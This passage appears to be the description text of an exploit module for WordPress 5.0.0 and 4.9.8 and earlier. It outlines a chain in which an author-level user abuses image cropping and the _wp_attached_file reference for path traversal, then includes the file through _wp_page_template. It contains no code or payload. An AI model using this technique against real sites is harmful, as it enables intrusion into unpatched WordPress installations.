          This module exploits a path traversal and a local file inclusion
          vulnerability on WordPress versions 5.0.0 and <= 4.9.8.
          The crop-image function allows a user, with at least author privileges,
          to resize an image and perform a path traversal by changing the _wp_attached_file
          reference during the upload. The second part of the exploit will include
          this image in the current theme by changing the _wp_page_template attribute
          when creating a post.

          This exploit module only works for Unix-based systems currently.
